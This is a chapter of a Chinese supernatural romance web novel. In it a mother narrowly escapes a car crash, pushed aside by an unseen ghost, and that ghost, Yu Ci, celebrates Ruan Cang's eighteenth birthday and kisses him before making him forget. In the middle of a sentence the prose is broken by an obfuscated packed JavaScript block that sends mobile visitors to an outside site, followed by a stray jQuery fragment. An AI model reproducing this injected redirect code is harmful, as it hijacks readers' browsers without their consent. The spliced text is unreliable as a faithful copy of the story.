文趣网 > 其他小说 > 失忆后被阴湿哥哥缠上了 > 30. 我会找到你
    背后,老太太沙哑又急切的催促声令梁语冰心惊肉跳。

    她仍是没有理会,任凭那名看起来就不太正常的老太太在背后喊叫。

    梁语冰上了楼走到病房门口,透过门口的窗户能够看到此刻生死未卜的祁奕澄。

    不知为何,她伸出手却怎么也无法打开那间房门,梁语冰心里乱得很,等意识清醒,人已经出现在医院楼下,连祁奕澄也没看。

    明明就在刚才,她还残留着最后一丝修养,冰冷地拒绝了一直纠缠她的老太太。

    “婆婆,我不信这些,您用不着在我身上下功夫。”

    就像当初对方情如说的:“我不信这些,只是我老公是做生意的,我们家只有他信一点。”

    彼时的梁语冰还对着方情如笑得出来。

    她过马路,脑子里开始晕乎乎地过那个名叫方情如的女人曾经跟她说过的话。

    和老太太不同的是,最初的方情如微笑地告诉她:“太太虽然身弱,却财旺,很容易吸引外貌和物质层面都十分优质的男性,您将来的婚姻会很幸福,真是令人羡慕。”

    梁语冰的笑容从只是客套变得亲近不少,她真心地感激方情如,即便他们的信仰并不一致。

    她不相信这些,可人总是喜欢听好听的话。

    “谢谢你,方小姐。”

    “听说方小姐的孩子和我们家小阮同龄,他们这个年纪的孩子,一天到晚不知道在想什么,我都快被那小子搞昏了,总是有稀奇古怪的想法。”

    梁语冰脸上的幸福不似作伪,眼角眉梢都带着温和的笑意,身上淡雅的香水是沾染了甜蜜的花香。

    她说:“小阮某天突发奇想要个哥哥,你说这孩子,怎么会有这么奇怪的想法呢?对了,方小姐的孩子是几月出生的?”

    是不是这个年龄的妈妈,都是说到孩子便停不下来?

    她拉着方情如从孩子的出生月份,到阮藏从小到大屁点小事,包括口癖、小习惯和口味,事无巨细。

    “小词小时候也活泼,只不过他爸爸去世后,就变得沉默起来,很小就开始自己做饭,等我意识过来,他已经不需要我帮忙了。”

    方情如面露遗憾,美丽的脸上有些伤感。

    面前的女人真是个过于善良又敏感的人,敏感到方情如浅淡的情绪起伏都能立马注意到。

    梁语冰安慰她:“方小姐还真是不容易,我想小词会理解你的。”

    她对方情如的偏见淡了不少,那时候的梁语冰在想:方情如失去了丈夫,一个人把孩子养大,如果有得选,她未必想要通过坑蒙拐骗的方式获取钱财。

    她应该帮帮他们,帮助这孤儿寡母。

    在梁语冰的印象中,她其实见过那个孩子一次——就在方情如第一天来到阮家,有个男孩子被他们家小阮拉着疯玩,那男孩睁着漂亮的眼睛,一眨不眨的紧盯着他们家小阮,似乎很喜欢阮藏。

    梁语冰错了,她对世界的善意被回馈以背叛和欺骗,是她太好骗了。

    她引狼入室、毫无防备,她天真烂漫的儿子也变得不人不鬼,他们的母子关系甚至再也回不到过去。

    现在梁语冰懵懵地往前走,脑子里一会是她和方情如的对话,一会是那个老婆婆。

    “夫人您有面犯桃花之相、未来会有家庭纠纷……他被恶鬼缠住了,你为什么不救他?”

    你不是一个称职的母亲,你害怕、恐慌、想要逃离,懦弱又无能为力……

    面前的鸣笛声忽然变大,眼前的一切都像慢镜头,梁语冰的感官被迫放缓,她才发觉自己不知不觉就走到了道路中央。

    不远处急促的鸣笛声响起,她的眼睛被刺目的远光灯照得眯起,梁语冰忽然有种解脱感。

    她觉得极累,也不想找到什么答案,她忽然什么牵绊也没有,似乎没有什么是不能放弃的,她只是,想要休息。

    凛冽的风声却一下将梁语冰刮醒,似乎有个力道忽然出现在她身后,不轻地推开她,梁语冰站立不稳,立时跌到一旁。

    另一边,飞驰而过的私家车“轰”地驶过,在梁语冰面前,猛地与另一辆货车相撞,车身几乎陷进货厢中。

    梁语冰立刻清醒了不少,吓得捂住嘴,顾不得跌倒时手部的擦伤。

    她只是想到如果不是刚才那股力量推开自己,是不是,她就会被私家车撞到它与货厢之间,四分五裂……

    似乎有人扶起梁语冰,有人关切地问她受伤没有,有人帮她打120,有人庆幸梁语冰闪得快。

    “真是吓死我了,那辆车直直撞过去,就在我眼前,我差点以为这位太太要被撞飞,奇也怪哉,她一闪身不知道是不是崴了脚,跌倒在地,正好与那辆失控的私家车擦身而过,这才免遭一劫。”

    梁语冰愣愣的,交警的问话,全让路人替梁语冰回答。

    她满眼空洞地望向不为人知的幽暗的角落——那处路灯坏了,又处在死角,此刻正“刺啦刺啦”地忽闪着亮光。

    不知是否为错觉,梁语冰似乎发现一道黑影站在那坏了的路灯下方,她以为有人,揉了揉眼睛,却模模糊糊、怎么也看不清。

    惨白的灯光一闪一闪地投射,怎么也照不出那道轮廓的倒影,或许,它压根没有影子……

    梁语冰定定地注视着同一个方向,它似有所感,轮廓飘荡了几下,直直朝向梁语冰。

    她终于确信那里有东西,而且它看到了,它正看着自己。

    “阿姨,请注意安全,阮阮一定不想让您受伤呢。”

    ……

    夜晚,阳台上。

    “阮阮,还剩12分钟。”

    “11分45秒、11分43了,不准睡!”

    “让我睡让我睡让我睡……”

    阮藏快眯着了,侧到另一边歪着头靠在手臂上,假装自己没有闭上双眼。

    “不行不行不行不行不行……”

    余词一连说了好几个“不行”,捉住阮藏的肩膀拼命摇晃。

    “不行不行不行,说好了我要当第一个跟你说18岁生日快乐的鬼!”

    “那你定闹钟呀,用手机发短信给我!”

    阮藏恼了,怎么摇都不起来。

    如果是高中毕业的他,让他熬到凌晨4点也无所谓,但现在,作息还是比较健康的。

    到点就要睡。

    它也不闹了,愤愤然坐在阮藏身边,委屈地嘟囔,“一点仪式感都没有,为什么一定要用手机?”

    “我的手机?我没有手机啦,我手机都殉葬了,看来,你只能在几百年后的考古节目上看到它。”

    “噗哈哈哈哈哈……”

    阮藏憋不住笑醒了。

    他的眼睛跟黑葡萄似的,融了一层水光,红唇勾起,趴在手背上一下睡意全无,脸上又因为兴奋粉白粉白的,就这么看着余词,非常漂亮。

    余词一时说不出话,飘飘的虚影保持着阮藏同样的姿势,如果它这时候有人形,应该能从那双瑰丽的瞳孔中看到阮藏的倒影。

    然后阮藏问它,“你是不是在看我?”

    “对,你现在分得清我的正反面了?”

    阮藏笑着说:“能感觉出来。”

    他也算对余词的另一个形态越来越熟悉。

    阮藏继续趴在胳膊上,眸中十分俏皮,连带语气也开始撒娇。

    他故意扬起下巴问:“你看我什么?”

    “我想知道现在,在你的眼中,我是否被看见。”

    喜欢,就是被看见。

    这个家因为不可名状的原因今夜只有阮藏一个人,祁继钦没回来,梁语冰也是。

    他们也许都在医院陪祁奕澄,正好留给阮藏思考的空间。

    他蓦地起身,怔怔望着前方,却没有回答。

    夜晚安静得阮藏能够听到楼下年轻人甩钥匙的声音,草木被风吹动摩擦的声响。

    一秒、两秒,不远处忽地炸开一连串的烟花,金黄璀璨的焰火吸引了阮藏的注意力,他朝那处望去。

    在烟花的绽放声中,阮藏听到耳边传来轻轻的一句,“18岁生日快乐,阮阮。”

    正值零点,到第二天了,一切都是全新的开始。

    他的心也像烟火那样腾空升起,涌动某种热烈的怦然,再“砰”地炸开。

    阮藏嘴角逐渐浮现恋慕的微笑,明明灭灭的光影映在脸上,他转头,第一时间想向余词分享这一切。

    白云似的脸上满是悸动的红晕,然后阮藏愣住,因为他怎么也看不清的余词,不知何时变得和原来一样。

    一样干净漂亮的面容、眸光瑰丽,余词的睫毛在眼睑下方投射出扇形阴影,右眼下方一颗小

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17776352|210030||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    小的泪痣,穿了一件暖白色的毛衣。

    阮藏几乎能想象余词身上干净的皂角香,和从前一模一样。

    这次他猝不及防,甚至来不及拒绝,余词微笑地捉住他的手,他们的距离突然拉近,近得阮藏能看到对方倒映在眼里的自己。

    在烟火声中,余词问他,“阮阮,请告诉我,现在,我对你而言是否重要?”

    余词捉着他的手,几乎不用思考,阮藏下意识就能回答,“当然。”

    当然重要,几乎组成他不可分割的血肉、他的一部分,连接了阮藏的爱与恨,将两种完全相反的极端情绪融合在一起。

    余词轻轻笑了,漂亮的面孔中浮现某种惊喜。

    “我好高兴阮阮,谢谢你让我知道,原来我这么重要。”

    余词的手抚摸上他的脸,事到如今,阮藏仍然不知道为什么现在,他突然能看清余词的脸。

    余词就和记忆中一样漂亮,或许很早以前阮藏就清楚这种漂亮,他故意忽略了。

    他有些紧张,余词靠近他,却垂眸打开了用粉色缎带包装的蛋糕。

    栗子蛋糕甜糯的气息被清雅的红茶中和,阮藏记得蛋糕是生日前三天,余词忽然告诉他,让他去店家的官网上参加开店周年活动。

    那是一个抽奖,可以免费获得店内任意一款蛋糕,阮藏不觉得运气会那么好,但余词坚持。

    然后……他就在生日前一天开奖,成功零元购该店红茶栗子蛋糕,还能定制图案和包装。

    余词真神奇,也许向他许愿,真的会百试百灵。

    现在,阮藏捧着余词给他切的一小块蛋糕,茶冻混合奶油的丝滑质地进入口腔,而余词始终目光温柔,微笑着一言不发。

    半晌才问,“好吃吗?”

    余词的眼神中似乎隐藏了些淡淡的忧伤,阮藏觉得余词有话要说。

    他忽然听到房门被撞了一下,也许已经被撞开了,阮藏目光正要往那处望,这回,余词再度不由分说地扶住他的脸。

    少年自顾自地舔舔红唇上沾着的奶油懵然不知,圆而黑的眼中全是余词。

    它当然看到了,余词确信,它确信这次,自己是被看见的。

    阮藏睁着黑亮的眼睛眨了眨却没有退缩,它靠近,如生前一般的红唇缓缓贴近少年的额头,他还是没逃。

    也许余词垂眸看了他一眼,也许没有,对方动作微滞,终于缓缓亲吻在阮藏的额头。

    右手的叉子掉落,“叮铃”一声掉在地上,发出清脆的声响,阮藏没有管,抬眸的瞬间满眼惊愕,不仅仅因为这个夜晚,余词不加掩饰不再温吞的情感表达。

    更是自己的反应——他没有阻拦。

    或许,这正是他的回答。

    鬼怪的亲吻是怎么样的?

    在阮藏丢失的记忆里,那和人类并没有什么区别,刚贴上来时是微凉的、然后慢慢变得温热。

    余词的唇在额头停留了一会,又沿着鼻梁慢慢往下,他轻轻阖上眼,睫毛颤得像受惊的蝴蝶,随后触碰到阮藏的唇角。

    他的呼吸有些凌乱,嘴角的奶油也被舔掉,余词却始终浅尝辄止。

    他好像抓住了重要的真相,他好像有点明白那包裹在必要条件下的情感,阮藏好像发现了层层叠叠的憎恨、依赖乃至崩溃下隐藏着什么。

    “余词,我们……”

    然后阮藏的眼神开始涣散,似乎陷入了一个甜美的迷梦,梦醒过后,便是全新的开始。

    “嘘,先不要告诉我,阮阮,还不是现在。”

    他拼命睁开眼,想阻止这不合时宜的困倦,阮藏有很重要的事情要跟余词说,是他在这个夜晚才意识到的。

    如果有人问阮藏,未来他最想生活在一起的人。

    他已经有了答案。

    如果哥哥长大后会成家,他们会分开,拥有不同的人生,现在阮藏已经不用担心这件事。

    因为余词已经不会长大了。

    他可以成为余词的家人,不论过去、现在还是未来。

    “对不起哥哥,我太困了,可是我还有事情要说……”

    阮藏的声音渐渐微弱下去。

    它说:“没关系,睡吧阮阮,好好睡一觉。”

    然后忘了一切。

    “等哥哥找到你,哥哥会找到你的。”